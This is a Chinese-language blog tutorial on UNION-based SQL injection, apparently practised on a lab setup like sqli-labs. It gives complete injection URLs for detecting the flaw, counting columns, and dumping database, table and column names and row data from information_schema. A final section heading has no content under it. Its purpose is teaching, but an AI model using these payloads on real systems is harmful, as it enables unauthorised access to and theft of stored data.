union注入

黑白自渡發表於2020-07-18

union注入

更多內容請看此連結:https://blog.csdn.net/weixin_45380284

1.判斷是否存在注入:

方法一:
單引號法——在url最後加一個單引號,如:
http://www.123456.com/web/union.php?id=1'
頁面不正常,瀏覽器返回異常資訊說明該連結會存在注入漏洞。
方法二:
1=1和1=2法,如:
http://www.123456.com/web/union.php?id=1 and 1=1
URL:http://www.123456.com/web/union.php?id=1 and 1=2
如果返回不同的頁面,那麼說明存在SQL隱碼攻擊漏洞。

2.使用order by 1-99 來查詢該資料表欄位數

方法;
Id=1 order by 1-99 來判斷欄位數,例如:
http://www.tianchi.com/web/union.php?id=1 order by 3
發現當id=1 order by 3時,頁面返回與id=1相同的結果;而id=1 order by 4時不一樣,故欄位數量是3。

3.查詢sql語句插入位置:

http://www.tianchi.com/web/union.php? id=-1 union select 1,2,3
通過瀏覽器返回的值判斷;如果返回2:3則說明2、3位置可以插入sql語句

4.獲取資料庫名:

1.獲取當前資料庫庫名:
將id=-1 union select 1,2,3中2的位置改為database() 如:
http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

2.獲取所有資料庫庫名
http://www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

3.逐條獲取資料庫庫名
語句:select schema_name from information_schema.schemata limit 0,1;
http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3
修改limit中第一個數字,如獲取第二個庫名:limit 1,1。
資料庫庫名:
information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

5.獲取資料庫表名:

(1)方法一:
獲取資料庫表名,這種方式一次獲取一個表名,2位置修改為:
select table_name from information_schema.tables where table_schema='security' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

修改limit中第一個數字,如獲取第二個表名:limit 1,1,這樣就可以獲取所有的表名。

表名是:emails,referers,uagents,users。

(2)方法二:
一次性獲取當前資料庫所有表名:
http://www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

6.取欄位名

(1)方法一:
獲取欄位名,以emails表為例,2位置修改為:
select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

修改limit中第一個數字,如獲取第二個欄位名:limit 1,1
欄位名:id,email_id。

(2)方法二:

以emails表為例,一次性獲取所有欄位名:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

7.獲取資料

(1)方法一:
獲取資料,以emails表為例,2,3位置分別修改為:
(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

獲取emails表第一,第二條資料:

1 : Dumb@dhakkan.com

2 : Angel@iloveu.com

URL:http://www.tianchi.com/web/union.php?id=-1 union select
1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

(2)方法二:
以emails表為例,一次性獲取所有資料:
URL:http://www.tianchi.com/web/union.php?id=-1 union select
1,group_concat(char(32,58,32),id,email_id),3 from security.emails

8. union注入PHP程式碼

相關文章